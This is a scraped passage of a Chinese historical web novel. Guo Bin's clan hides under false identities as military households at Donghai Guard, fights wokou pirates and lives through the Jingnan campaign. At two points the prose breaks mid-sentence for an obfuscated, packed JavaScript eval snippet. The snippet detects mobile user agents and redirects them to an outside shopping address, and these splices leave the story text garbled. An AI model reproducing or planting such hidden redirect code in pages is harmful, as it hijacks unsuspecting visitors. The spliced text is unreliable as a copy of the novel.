“郭福伯,辛苦你了。”郭斌拱手道,“待会儿登记,你就说你是我的叔父,无儿无女,跟着我们度日。其余族人,都按事先商议的,装作远房亲戚,逃荒至此投奔我。” 众人齐声应诺,跟着张勇朝着海州城走去。屯堡在海州城外,距离东海卫城不过三里路程,沿途能看到不少身着军卒服饰的人往来穿梭,还有扛着农具的军户在田埂上劳作——东海卫推行屯田制,军户战时作战,闲时耕种,这种“兵农合一”的模式在明初卫所中极为普遍。 东海卫城号称凤凰城,城墙高大坚固,由青条石砌成,墙头布满垛口,城门口有两名士兵手持长枪站岗,目光锐利地扫视着进出的人群。张勇低声道:“都低下头,跟着我走,不要东张西望。” 众人依言而行,跟着张勇穿过城门。城内的街道比屯堡繁华许多,两侧有不少店铺,卖盐的、卖鱼的、打铁的,吆喝声此起彼伏。街道上行人混杂,有身着官服的衙役,有肩挑担子的商贩,也有与张勇一样的军卒,每个人都行色匆匆,透着沿海卫所特有的忙碌气息。 卫所的衙署位于城中心,是一座坐北朝南的院落,门前悬挂着“东海卫左千户所”的匾额,朱红大门敞开,门前已经排起了长队——大多是前来登记入军籍的流民,还有部分是卫所新征的兵卒。 张勇带着众人排在队伍末尾,低声叮嘱:“待会儿登记官会问姓名、籍贯、来历,你们都按事先编好的说辞应答。籍贯就说淮西濠州,来历就说家乡遭灾,逃荒至此。记住,语气要自然,不能有破绽。” 郭斌默默记在心里,目光警惕地观察着周围的环境。卫所衙署的院子里,几名军卒手持棍棒来回巡逻,神色严肃;大堂内,一名身着从五品副千户服饰的官员正坐在案前,翻阅着文书,想来便是负责登记的卫官。旁边站着一名文书,手中握着毛笔,随时准备记录。 队伍缓缓前移,郭斌能清晰地听到前面登记的人应答的声音。大多是寻常流民,登记官问得并不细致,只是简单记录姓名、籍贯,便发给一块木质的军籍牌,上面刻着姓名和所属千户所。 轮到郭斌一行人时,张勇上前一步,对着登记官拱手道:“刘副千户,这是我的远房亲戚,家乡遭了水灾,逃荒到海州,想入军籍,为卫所效力。” 刘副千户户抬起头,目光扫过郭斌等人,眼神锐利如刀。他约莫四十余岁,面容黝黑,下巴上留着短须,身上的千户服饰虽不算崭新,却浆洗得十分干净。他在军中任职多年,见过形形色色的人,对这些“逃荒来的亲戚”自然多了几分警惕。 “远房亲戚?”刘副千户挑挑眉,目光落在郭斌身上,“你叫什么名字?” “回千户大人,小人郭斌。”郭斌躬身应答,语气恭敬却不卑不亢。 “郭斌?”刘副千户重复了一遍这个名字,眉头突然皱起,眼中闪过一丝疑色,“‘斌’字,文武双全?你一个逃荒的流民,怎么会取这样的名字?” 郭斌心中一紧,手心瞬间冒出冷汗。他当初改名“郭斌”,是为了隐“景”字,寓“隐武于文”之意,却未曾想会引起登记官的怀疑。他强作镇定,低声道:“回大人,这名字是家父取的。家父是个识字的农夫,希望小人能文武双全,不再受穷挨饿,只是小人愚钝,终究还是没能如父亲所愿。” 刘副千户显然不信,目光在郭斌身上来回打量。他见郭斌身形挺拔,虽穿着粗布短衫,却难掩一身正气,不像是寻常逃荒的流民,倒像是读过书、练过武的人。“你父亲是农夫?哪个村的?可有凭证?” “家父早已过世,家乡遭灾,村落都被洪水冲没了,哪里还有凭证?”郭斌的声音带着一丝哽咽,神色凄苦,“若不是走投无路,小人也不会带着族人来投奔亲戚,求入军籍混口饭吃。大人若不信,可问张勇兄弟,他是小人的远房表哥,总不会骗大人。” 张勇连忙上前道:“刘副千户,郭斌兄弟所言属实。他家确实遭了灾,走投无路才来投奔我。他性子老实,就是个普通农夫,只是名字取得文雅些罢了。” 刘副千户依旧皱着眉,目光转向郭玘:“这是你的儿子?叫什么名字?” “回大人,小儿郭玘。”郭斌连忙将儿子拉到身边,郭玘怯生生地看着刘副千户,小手紧紧抓着父亲的衣角。 “郭玘……”刘副千户默念着,目光又扫过其余族人,“你们都是他的亲戚?籍贯都是濠州?” “正是。”郭福上前一步,佝偻着身子道,“老奴是郭斌的叔父,这些都是族中子弟,家乡遭灾后,就跟着郭斌一起逃荒来了。我们都想入军籍,为卫所效力,只求能有口饭吃,有个安身之处。” 刘副千户沉默片刻,似乎在权衡利弊。东海卫地处海防前线,兵力常年不足,朝廷虽有征兵指标,但流民入籍能补充兵源,还能增加屯田的劳动力,对卫所来说并非坏事。只是作为流民按律应打回原籍,待验明身份,方可入本地军籍。另外,他总觉得郭斌此人不简单,怕是什么奸细或是逃犯,若贸然收录,日后出了差错,他难辞其咎。 他左思右想,正欲驱离这群流民。就在这时,一道熟悉的声音从院外传来:“刘副千,忙着呢?” 众人循声望去,只见一名身着正六品百户服饰的男子走进院子,面容刚毅,正是郭铭安插接应的旧部李诚——昨日他并未露面,而是按约定在卫所内等候,以防登记时出现变故。 刘副千户见到李诚,脸上的严肃神色缓和了几分,李诚虽为正六品,但是素有战功,且与武定侯府有着关系。他起身道:“李百户,今日怎么有空过来?” 李诚笑着走上前,目光不经意地扫过郭斌一行人,对着张勇道:“刚巡完城,过来看看登记情况。这些是你的亲戚?”他指着郭斌,语气自然。 张勇连忙接口:“正是。李百户,这是我的远房亲戚郭斌,带着族人来入军籍,还望李百户多多关照。” 李诚点点头,对着刘副千户道:“刘大人,既然是张勇的亲戚,想必是可靠之人。东海卫正是用人之际,多些人手屯田戍边,也是好事。这郭斌我看着面善,昨日还在城外见过,确实是老实本分的农夫,不会出什么差错。” 刘副千户见李诚出面担保,心中的疑虑顿时消了大半。李诚来自京城,在东海卫任职多年,战功赫赫,为人正直,深受卫所左千户大人信任。有他担保,郭斌等人自然不会有问题。“既然李百户都这么说,那便收录了吧。” 刘副千户籍室友说了示意文书登记,文书拿起毛笔,蘸了蘸墨汁,抬头问道:“郭斌,籍贯濠州,子郭玘。其余人姓名、籍贯一一报来。” 郭斌心中悬着的石头终于落地,连忙报上族人的姓名。郭福报了“郭福”,其余族人也按事先约定的姓名一一应答——为了安全,部分族人也改了名字,只保留姓氏,隐去原名。文书飞快地记录着,笔尖在纸上划过,发出沙沙的声响。 登记完毕,刘副千户命人取来十五块木质军籍牌,上面刻着各自的姓名、所属千户所和入籍日期。他将军籍牌递给郭斌:“从今日起,你们便是东海卫左千户所的军户,隶属屯田队。闲时耕种卫所分配的田地,战时听从调遣,戍守海防。若敢违抗军令,或有通敌作乱之举,定按军法处置!” “小人遵命!”郭斌带领族人躬身行礼,双手接过军籍牌。粗糙的木牌握在手中,沉甸甸的——这既是束缚自由的枷锁,也是保命安身的凭证。从今往后,他们不再是逃亡的罪臣之后,而是东海卫的军户,要靠耕种与戍边换取生存的权利。 李诚走上前,对着刘副千户拱手道:“刘副千,多谢成全。这些族人初来乍到,对卫所的规矩不熟,还望日后多多照拂。” “李百户客气了。”刘副千户点点头,“都是为朝廷效力,理应相互照应。” 离开卫所衙署,郭斌长长地舒了一口气,额头上的冷汗早已浸湿了衣衫。李诚拍了拍他的肩膀:“郭斌先生,恭喜你们顺利入籍。刚才真是惊险,若不是我及时赶到,刘副千户怕是不会轻易放行。” “多谢李百户相助。”郭斌躬身道,“若非李百户和张勇兄弟,我们今日怕是难以过关。这份恩情,郭家没齿难忘。” “先生不必多礼。”李诚摇摇头,“郭铭大人特意嘱咐我,一定要确保你们的安全。如今你们入了军籍,算是暂时安稳了,但后续的日子还需谨慎。海州鱼龙混杂,既有朝廷的兵卒,也有地方的乡绅,还有往来的商贩,难免会有认识郭家的人,切不可掉以轻心。” 张勇也道:“李百户说得对。我已为你们在卫城东侧的屯田区申请了住处,是三间相连的土坯房,周围都是军户,相对安全。待会儿我带你们过去,分配田地,日后你们便在那里耕种生活。” 郭斌点点头,心中充满了感激。他知道,入军籍只是第一步,想要在海州长久立足,还需要付出更多的努力。 一行人跟着张勇前往屯田区。东海卫的屯田区分布在卫城周边,东接海滨,西连农田,土地肥沃,灌溉便利。沿途能看到大片的农田,军户们正在田间劳作,有的耕种,有的灌溉,还有的在修筑田埂,一派繁忙的景象。 张勇带他们来到一处偏僻的院落,院落由三间土坯房组成,围着一圈低矮的土墙,院子里有一口水井,还有一小块空地可以晾晒粮食。“这就是你们的住处了。左边两间住男丁,右边一间住女眷和孩子。后面有一亩多地,是卫所分配给你们的屯田,足够你们耕种糊口。” 郭斌走进土坯房,房间简陋却干净,墙壁是用黄土夯实的,屋顶铺着茅草,地面是平整的泥土。虽比不上山坳庄园的舒适,却也能遮风挡雨。“多谢张勇兄弟,费心了。” “先生客气了。”张勇道,“我还有军务在身,就不打扰了。明日一早,会有人来带你们熟悉屯田的规矩,教你们如何耕种。若有什么困难,可随时去卫所找我,或是找李百户。” 张勇和李诚离去后,族人们立刻动手打扫房间,整理行李。郭福带着几名男丁清理院子,郭玘则好奇地在院子里跑来跑去,打量着新的家园。 郭斌走到院子里,望着远处的海岸线。蔚蓝的大海与天空相接,海风吹拂着他的衣衫,带着咸湿的气息。他从怀中取出那半块“勇”字玉佩,轻轻摩挲着。入军籍,意味着他们从此失去了自由,要受卫所的管束,要承担兵役的风险,但至少,他们活下来了,郭家的香火得以延续。 “爹,你在看什么?”郭玘跑到父亲身边,仰着小脸问道。 郭斌蹲下身子,将玉佩递给儿子:“你看,这是我们家的传家宝。如今我们入了军籍,就要在海州好好生活。爹会教你读书,教你练武,让你成为一个有本事的人。等你长大了,就能保护自己,保护族人。” 郭玘握紧玉佩,眼中闪烁着坚定的光芒:“爹,我会好好学的。我要变得很强,像祖父一样,做个英雄。” 郭斌心中一酸。祖父郭兴是开国功臣,是儿子心中的英雄,可这份荣耀,如今却成了家族的枷锁。他不敢告诉儿子,祖父的“英雄”之名,正是导致家族遭难的根源之一。“好,爹相信你。” 接下来的几日,郭斌和族人渐渐适应了军户的生活。卫所分配的田地土质肥沃,他们带着逃亡时积攒的农具,每日辛勤耕种。郭福经验丰富,指导族人开垦荒地、播种育苗;郭斌则利用空闲时间,教族中的年轻男丁练武——在卫所中,只有自身强大,才能不受人欺负。 郭玘也没闲着,每日跟着父亲读书识字,练习基本功。他聪慧过人,学东西很快,短短几日便认识了不少字,拳脚功夫也有了些许长进。 这日午后,郭斌正在田间劳作,一名卫所的军卒突然来到田边:“郭斌,李百户找你,让你立刻去卫所一趟。” 郭斌心中一紧,不知李诚找他有何事。他交代族人继续耕种,自己则跟着军卒前往卫所。 卫所的议事堂内,李诚正坐在案前翻阅文书。见到郭斌,他起身道:“郭斌先生,请 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16914079|192489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 坐。今日找你来,是有几件事要告诉你。” 郭斌坐下后,李诚继续道:“第一件事,卫所近日接到命令,要加强沿海的巡逻,防备倭寇侵扰。你和族中的年轻男丁,过几日要参加卫所的集训,学习海防巡逻的规矩和武艺。第二件事,郭铭大人有消息传来,说建文帝削藩的步伐越来越快,燕王朱棣在北平已经起兵,号称‘靖难’,天下恐怕很快就要大乱了。” “燕王起兵了?”郭斌心中一震。他早已预料到这一天,却没想到来得这么快。靖难之役爆发,海州作为沿海卫所,会不会被卷入其中? “是的。”李诚点点头,神色凝重,“燕王兵力强盛,麾下有不少能征善战的将领,建文帝派李景隆率军北伐,却屡战屡败。如今战火已经蔓延到河北、山东一带,海州虽地处沿海,暂时安全,但谁也不知道战火会不会波及此地。郭铭大人让我转告你,务必低调行事,不可参与任何党派之争,专注于耕种与戍边,保全自身和族人的安全。” 郭斌点点头:“多谢李叔转告,我会谨记郭铭大人的嘱咐。只是,卫所集训,会不会暴露我的身份?” “放心。”李诚道,“集训只是基础的军事训练,不会深入调查你的来历。你只需装作普通军户,认真学习即可。我已经跟集训的教官打过招呼,会多加照拂。另外,我已将你的情况上报给卫所左千户大人,推荐你担任屯田队的小旗官,负责带领族人耕种和训练。这样一来,你在卫所有了一定的职权,也更方便行事。” “小旗官?”郭斌心中一喜。小旗官虽只是最低级的军官,管辖五名士兵,但至少能让他在卫所有一定的话语权,也能更好地保护族人。“多谢李百户提拔。” “这是你应得的。”李诚道,“你武艺高强,又有管理族人的经验,担任小旗官再合适不过。卫所左千户大人也希望能有得力之人协助管理屯田,确保军粮供应。” 离开卫所,郭斌心中感慨万千。燕王起兵,靖难之役爆发,天下即将大乱,海州也未必能独善其身。但他如今身不由己,入了军籍,便要听从卫所的调遣,一旦战事波及海州,他们这些军户,必然要走上战场。 回到屯田区的院落,郭斌将李诚带来的消息告诉了族人。族人们听闻燕王起兵,都十分恐慌——他们早已厌倦了战乱,只想安稳生活。 “先生,我们该怎么办?万一战火波及海州,我们岂不是又要逃亡?”一名族人担忧地问道。 “大家莫慌。”郭斌沉声道,“海州地处沿海,并非主战场,短期内应该不会受到波及。我们现在要做的,就是好好耕种田地,认真参加集训,提升自身实力。只要我们足够强大,无论遇到什么情况,都能保护自己和族人。” 他顿了顿,继续道:“我已被任命为屯田队的小旗官,日后族中的训练和耕种,都由我统一安排。从明日起,每日清晨,族中的年轻男丁都要随我训练武艺;白日耕种田地;夜晚,我会教大家读书识字,熟悉卫所的规矩。只有我们团结一心,才能在海州立足,才能在乱世中活下去。” 族人们纷纷点头,眼中的恐慌渐渐被坚定取代。他们知道,郭斌是他们的主心骨,只要跟着郭斌,就一定能度过难关。 郭玘走到父亲身边,握紧了手中的玉佩:“爹,我也要参加训练。我要变得更强,保护族人。” 郭斌看着儿子坚定的眼神,心中充满了欣慰。他知道,无论未来多么艰难,只要郭家的后人能够坚守“忠勇”家训,团结一心,就一定能在乱世中立足,等待洗刷冤屈的那一天。 当晚,郭斌在院子里点燃火把,教族人们读书识字。火把的光芒照亮了每个人的脸庞,也照亮了院子里的那口水井,映出摇曳的光影。郭斌看着眼前的族人,看着儿子稚嫩却坚定的眼神,心中暗暗发誓:无论靖难之役的战火如何蔓延,无论海州的局势如何变化,他都会带着族人,坚守在这里,耕种戍边,隐忍蛰伏。他要让郭玘在海州长大成人,要让郭家的“忠勇”精神得以传承,要等到天下太平的那一天,带着族人回到淮西祖宅,洗刷家族的冤屈。 海风吹拂着院子里的茅草,带来远处海浪拍打礁石的声音。郭斌知道,他们在海州的生活才刚刚开始,未来的路还很长,充满了未知与挑战。但他不再迷茫,不再畏惧——手中有玉佩,心中有信念,身边有族人,这就足够了。 接下来的日子,郭斌带领族人有条不紊地进行着耕种与训练。每日清晨,屯田区的空地上都会响起整齐的呐喊声,族人们在郭斌的指导下练习拳脚、刀法;白日里,田间地头一派繁忙景象,绿油油的庄稼长势喜人;夜晚,院子里的火把下,族人们认真地读书识字,学习卫所的规矩和海防知识。 郭斌的武艺和管理能力很快得到了其他军户的认可,不少军户都来向他请教武艺,屯田队的凝聚力也越来越强。李诚偶尔会来探望他们,带来京城和战场的消息,同时也带来郭铭的嘱咐,让他们务必低调行事,不可卷入任何纷争。 建文元年冬,海州的第一场雪落下,覆盖了田地和屋顶。郭斌带领族人将收获的粮食妥善储存,准备过冬。卫所的集训也已结束,郭斌和族中的年轻男丁都顺利通过考核,编入了海防巡逻队,负责卫城东侧海岸线的巡逻任务。 郭玘在这段时间里进步神速,不仅认识了上千个字,还学会了一套基础刀法,虽然力量不足,但招式已经有模有样。他每日跟着父亲巡逻,观察海岸线的地形,学习海防知识,小小的身影在风雪中显得格外坚韧。 这一日,郭斌带着郭玘和两名族人在海岸线巡逻。雪后的大海格外平静,蔚蓝的海水与洁白的雪地形成鲜明的对比。郭玘指着远处的海岛问道:“爹,那是什么岛?上面有人住吗?” 郭斌顺着儿子指的方向望去,那是海州外海的东海岛,是海防的重要据点,设有烽燧和墩台。“那是东海岛,是卫所的海防据点,有士兵驻守。那里地势险要,是防备倭寇的前沿阵地。” 就在这时,远处的海面上突然出现了几艘船只的影子,正朝着海岸线驶来。郭斌心中一紧,立刻示意族人警惕:“不好,可能是倭寇!快,通知附近的巡逻队,做好战斗准备!” 这是郭斌入军籍后第一次遇到倭寇侵扰,也是对他们这些新入籍军户的第一次考验。他握紧手中的长刀,将郭玘护在身后,眼中闪过一丝坚定——无论来的是什么人,他都要保护好族人,保护好海州的海岸线,守住这来之不易的安稳生活。 雪风呼啸,海浪翻滚,一场关乎生存的战斗,即将在海州的海岸线上展开。郭斌知道,这只是他在海州遇到的第一个挑战,未来还会有更多的艰难险阻在等待着他和族人。但他无所畏惧,因为他心中有“忠勇”家训,手中有护族之责,身边有同心同德的族人。只要坚守初心,隐忍蛰伏,就一定能在海州站稳脚跟,等待家族重见天日的那一天。 10. 第二卷 海州藏璧 第10章 壬午血光 雪风呼啸,海浪翻滚,冰冷的海水拍打着礁石,溅起漫天飞沫。郭斌握紧手中的长刀,将郭玘死死护在身后,目光如鹰隼般紧盯着远处海面上越来越近的船只。那是三艘挂着黑色旗帜的倭寇船,船身狭长,速度极快,正朝着海州的海岸线疾驰而来。 “快,鸣锣示警!通知附近的巡逻队增援!”郭斌对着身边的两名族人大声喊道。这是他入军籍后第一次遭遇倭寇侵扰,心中虽有紧张,却更多是临战的冷静——他不能慌,身后是族人,是海岸防线,更是郭家好不容易才获得的安稳。 两名族人立刻转身,朝着不远处的烽燧跑去,手中的铜锣发出“哐哐”的急促声响,在风雪中格外刺耳。郭玘紧紧抓着父亲的衣角,小脸冻得通红,却没有丝毫退缩,眼中闪烁着与年龄不符的坚毅。他知道,此刻不能给父亲添乱,只能默默祈祷。 倭寇船很快便靠了岸,二十余名身着黑衣、手持弯刀的倭寇嘶吼着跳下船,朝着沙滩上的郭斌等人冲来。他们面目狰狞,身上带着血腥味,显然是惯于劫掠的悍匪。 “玘儿,躲到礁石后面,不许出来!”郭斌厉声叮嘱,随即提着长刀迎了上去。他的武艺得自父亲郭兴亲传,又在逃亡途中勤加练习,早已练就一身硬功夫。面对冲在最前面的倭寇,他不退反进,长刀一挥,便劈开了对方的弯刀,顺势一刀砍在倭寇的肩膀上,鲜血瞬间染红了雪地。 “杀!”族中的两名年轻男丁也手持农具冲了上来,与倭寇展开厮杀。他们虽不如郭斌武艺高强,却也悍不畏死——在淮西的逃亡岁月里,他们早已明白,唯有拼命,才能活下去。 郭斌一人独战三名倭寇,长刀在他手中舞得虎虎生风,刀光剑影间,不断有倭寇惨叫着倒下。但倭寇人数众多,且悍勇异常,渐渐占据了上风。一名倭寇趁着郭斌不备,从侧面偷袭而来,弯刀直指他的后背。 “爹,小心!”郭玘大声惊呼。 郭斌猛地转身,长刀横挡,堪堪挡住了倭寇的弯刀。巨大的冲击力让他手臂发麻,虎口开裂。就在这时,远处传来了马蹄声和呐喊声——李诚带着增援的巡逻队赶来了! “郭斌先生,我来助你!”李诚骑着马,手中长枪如蛟龙出海,直奔一名倭寇而去,一枪便刺穿了对方的胸膛。巡逻队的士兵们也纷纷冲上前,与倭寇展开激战。 局势瞬间逆转。倭寇见明军增援赶到,不敢恋战,连忙想要退回船上逃窜。郭斌哪里肯放过他们,带着族人追了上去,长刀挥舞,又斩杀了两名倭寇。 这场战斗持续了不到一个时辰,最终以倭寇溃败逃窜告终。沙滩上躺着十几具倭寇的尸体,鲜血与白雪交融,触目惊心。郭斌身上也溅满了血污,手臂被倭寇的弯刀划了一道深深的伤口,鲜血顺着手臂流下,滴在雪地上。 “爹,你受伤了!”郭玘连忙跑上前,眼中满是担忧。 “无妨。”郭斌摆摆手,强忍着疼痛,“只是皮外伤。” 李诚走上前,看着沙滩上的尸体,又看了看郭斌的伤口,赞许道:“郭斌先生,好身手!若不是你及时阻拦,倭寇恐怕已经冲进附近的渔村劫掠了。” “李百户过奖了。”郭斌道,“守护海防是军户的本分。只是这些倭寇如此猖獗,怕是日后还会再来侵扰。” “是啊。”李诚叹了口气,“近年来沿海倭患频发,卫所的兵力本就不足,如今又要抽调人手支援靖难前线,海防压力越来越大了。” 靖难前线四个字,让郭斌心中一沉。自建文元年燕王朱棣在北平起兵以来,靖难之役的战火便蔓延开来,朝廷屡次抽调各地卫所的兵力北伐,海州也未能幸免。这三年来,卫所的士兵一批批被派往前线,回来的却寥寥无几。 回到屯田区的院落,郭斌让族人给自己处理了伤口,又安抚了受惊的族人。郭玘一直守在父亲身边,看着他手臂上的伤口,小声道:“爹,以后我要跟你学更厉害的武艺,帮你杀倭寇,守海防。” 郭斌摸了摸儿子的头,心中一暖:“好,爹教你。但你要记住,习武不是为了好勇斗狠,是为了保护自己,保护身边的人。” 接下来的日子,郭斌一边养伤,一边加强族人和屯田区军户的武艺训练。他知道,随着卫所兵力不断被抽调,海防的压力会越来越大,只有自身强大,才能应对随时可能到来的倭寇侵扰和战乱。 建文四年春,靖难之役的战火愈演愈烈。燕王朱棣的军队势如破竹,接连攻占了山东的多个城池,距离海州越来越近。卫所再次接到征兵命令,要求抽调一半的军户前往前线支援。 “郭斌先生,卫所左千户大人下令,让你率领麾下的五十名军户,三日内启程前往山东前线,听候燕王军队的调遣。”王吏目再次来到院落,神色严肃地传达命令。这一次,他的语气不容置疑——如今燕王的军队占据上风,东海卫早已暗中倒向燕王,自然要全力支援。 郭斌心中一紧。他深知,前线战事惨烈,前往支援无疑是九死一生。更重要的是,他若离开,族人便失去了庇护。如今时局混乱,人心叵测,一旦他不在,族人的身份若暴露,后果不堪设想。 “王吏目,我近日旧伤复发,手臂疼痛难忍,恐难以率领军户出征。”郭斌沉声道,故意活动了一下受伤的手臂,脸上露出痛苦的神色。他知道,这是唯一能推脱的办法。 “旧伤复发?”王吏目眼中闪过一丝怀疑,“前几日见你还在训练军户,怎么突然就旧伤复发了?” “许是前些日子杀倭寇时用力过猛,伤口裂开了。”郭斌道,“不信你看。”他说着,解开手臂上的布条,露出还未完全愈合的伤口,伤口处果然有些红肿。 王吏目凑近看了看,见伤口确实像是裂开的样子,又想起郭斌上次击退倭寇的功劳,便松了口:“既然如此,那便由张勇代为率领军户前往前线。但郭斌先生,你需尽快养好伤,若前线战事吃紧,卫所随时可能调你出征。” “多谢王吏目通融。”郭斌心中松了一口气,连忙躬身道谢。 王吏目离去后,郭福忧心忡忡地问道:“先生,你这招怕是只能瞒一时。如今前线战事吃紧,卫所迟早还会调你出征,到时候该怎么办?” “走一步看一步吧。”郭斌摇摇头,“我若离开,你们便没了庇护。张勇是自己人,由他带队,既能应付卫所的命令,也能暗中照顾族人。我们现在能做的,就是低调行事,加固防御,等待战事结束。” 张勇走上前:“先生放心,我定会尽量避开正面战场,保全自身和族人。海州这边,还请先生多加照拂。” “你放心去吧。”郭斌拍了拍他的肩膀,“凡事以安全为重,不必强求战功。若事不可为,便设法脱身回来。” 接下来的三日,张勇忙着整顿队伍,准备出征事宜。郭斌则“卧病在床”,暗中安排族人囤积粮食和水,加固院落的防御。郭玘每日守在父亲床边,端药送水,神色担忧。他已经十二岁了,身形颀长,眉宇间透着沉稳,早已不是当年那个懵懂的孩童。 “爹,你真的生病了吗?”郭玘坐在床边,小声问道。他总觉得父亲的病来得有些蹊跷。 郭斌摸了摸儿子的头,微微一笑:“爹没事,只是不想去前线打仗。如今战火纷飞,爹只想留在海州,保护你和族人。” 郭玘似懂非懂地点点头:“爹,我明白了。我会好好练武,等我长大了,就能保护你和族人,不让你再受这样的委屈。” 郭斌心中一暖,将儿子搂在怀中。这三年来,儿子的成长让他倍感欣慰。他知道,自己不能永远保护儿子,唯有让他变得强大,才能在这乱世中立足。 三日后,张勇带领五十名军户,踏上了前往山东前线的路途。郭斌站在卫城的城门上,望着他们远去的背影,心中充满了担忧。他不知道,这一去,张勇和族人们能否平安归来。 张勇离开后,郭斌“病愈”,重新接管了屯田与海防巡逻的事务。但他心中的不安却越来越强烈——前线的消息越来越糟,燕王的军队势如破竹,朝廷的军队屡战屡败,如今战火已经蔓延到海州周边,卫城内外人心惶惶。 这一日,郭斌带着郭玘在卫城巡逻,突然听到城中心传来一阵喧哗声。只见一队身着燕军服饰的士兵正押着几名五花大绑的官员,穿过街道,朝着卫所的方向走去。官员们衣衫褴褛,脸上满是伤痕,神色憔悴,正是建文朝的旧臣。 “爹,那些是什么人?为什么被绑着?”郭玘好奇地问道。 郭斌心中一沉,认出那些士兵的服饰是燕王朱棣的军队服饰。看来,燕军已经攻占了海州周边的城池,正向海州逼近。“那些是建文朝廷的官员,被燕军俘虏了。” “燕军?就是你说的燕王的军队吗?”郭玘问道。 “是的。”郭斌点点头,拉着儿子躲到一旁的小巷里,“快低下头,不要看他们,也不要多说话。” 郭玘听话地低下头,却忍不住从手指缝里偷偷观察。他看到燕军士兵对那些官员拳打脚踢,官员们发出痛苦的呻吟声,心中充满了恐惧。 “爹,他们为什么要打那些官员?”郭玘的声音带着一丝颤抖。 “因为他们是建文朝廷的人,而燕军是燕王的军队,他们是敌人。”郭斌沉声道,“如今燕王的军队势如破竹,建文朝廷的官员一旦被俘虏,大多没有好下场。” 就在这时,一名燕军士兵发现了躲在小巷里的郭斌父子,厉声喝道:“你们是什么人?在这里干什么?” 郭斌心中一紧,连忙拉着郭玘走出小巷,躬身道:“回这位军爷,小人是东海卫的军户,带着儿子出来巡逻,路过此地,并无恶意。” 士兵上下打量着他们,见他们身着军户服饰,神色恭敬,便没有再多问,转身离开了。 郭斌拉着郭玘,快步离开了城中心。回到屯田区的院落,郭玘的小脸依旧苍白,双手紧紧抓着郭斌的衣角:“爹,燕军会不会攻占海州?我们会不会也被抓起来?” 郭斌心中一酸,将儿子搂在怀中,轻轻拍着他的后背:“别怕,有爹在,不会让你被抓的。”他从怀中取出那半块“勇”字玉佩,放在儿子手中,“你看,这是我们家的传家宝,是曾祖父留下的。有它在,我们郭家就有根在,无论遇到什么困难,都能挺过去。” 郭玘握紧玉佩,玉佩温润的触感让他稍稍安心。他抬起头,看着父亲坚定的眼神:“爹,我明白了。只要我们有这玉佩,有彼此,就什么都不用怕。” 建文四年六月十三,燕王朱棣率领大军攻入南京城的消息,如同惊雷般传遍了海州。彼时郭斌正在田间查看即将成熟的庄稼,李诚骑着快马,一身尘土,神色慌张地赶到田边:“郭斌先生,大事不好了!南京城破了,建文帝失踪,燕王登基了!” “什么?”郭斌手中的锄头“哐当”一声掉落在地,浑身血液仿佛瞬间凝固。南京城破,建文帝失踪,燕王登基——这场持续了四年的靖难之役,终究以燕王的胜利告终。可这胜利,对他们这些洪武朝的罪臣之后来说,究竟是福是祸? “消息确凿?”郭斌稳住心神,追问道。他必须尽快弄清局势,才能为族人谋求生路。 “千真万确!”李诚点点头,急促地喘着气,“卫所左千户大人大人已经收到了朝廷的诏书,燕王朱棣已于六月十七登基称帝,改元永乐。诏书命令各地卫所即刻效忠新皇,所有建文朝的旧臣,一律上缴印信,听候朝廷处置。稍有违抗,以谋逆论处!” 郭斌沉默了。燕王朱棣登基,建文朝的旧臣必然会遭到清算。东海卫作为建文朝的沿海卫所,卫所左千户大人大人虽已暗中倒向燕王,但城中仍有不少建文朝的旧吏和军户。一场新的血雨腥风,已经近在眼前。 “先生,我们该怎么办?”李诚担忧地问道,“一旦卫所开始清算建文旧臣,我们这些身份特殊的人,会不会被牵连?” “暂时不会。”郭斌摇摇头,目光沉凝,“我们只是普通军户,没有参与建文朝的任何政治斗争,新皇清算的重点是建文朝的核心官员和将领,暂时不会波及我们。但我们必须更加谨慎,即日起,族中所有人不得随意外出,不得议论朝政,所有与建文朝有关的书籍、文书,全部销毁,以免被人抓住把柄。” 他顿了顿,继续道:“李百户,烦你密切关注卫所的动向。一旦卫所开始大规模清算,我们便立刻带着族人前往海边的渔村,那里有我们的旧部,可乘船前往东海岛暂避。” “我明白。”李诚点点头,转身匆匆离去。 接下来的几日,海州城内一片肃杀。卫所左千户大人下令关闭城门,严禁任何人随意进出,同时开始清查城内的建文旧臣。每日都有官员和军户被燕军士兵抓走,卫所的大牢人满为患,刑场上传来的惨叫声此起彼伏,让人心惊胆战。 郭斌带领族人加固了院落的防御,在院子里挖了地窖,囤积了足够的粮食和水,同时严禁族人踏出院落半步。郭玘也感受到了紧张的气氛,每日除了练武、读书,便寸步不离父亲身边。他亲眼看到隔壁屯田区的一名军户,因为曾给建文朝的官员送过一次粮,便被燕军士兵抓走,再也没有回来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16914080|192489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “爹,他们为什么要杀那么多人?”郭玘坐在院子里的石凳上,手中紧紧攥着那半块“勇”字玉佩,声音带着一丝颤抖。十二岁的孩子,第一次如此近距离地目睹政治斗争的残酷,心中充满了困惑与恐惧。 郭斌坐在儿子身边,望着远处卫城的方向,眼中满是复杂的情绪。他该如何向儿子解释,这便是皇权斗争的残酷?胜者为王,败者为寇,无数无辜的人,都成了这场斗争的牺牲品。 “玘儿,这就是乱世。”郭斌轻声道,伸手摸了摸儿子的头,“在乱世中,权力的更迭往往伴随着鲜血。那些被抓的人,大多是建文朝的官员,他们效忠于建文帝,如今建文帝失势,他们自然会遭到清算。” 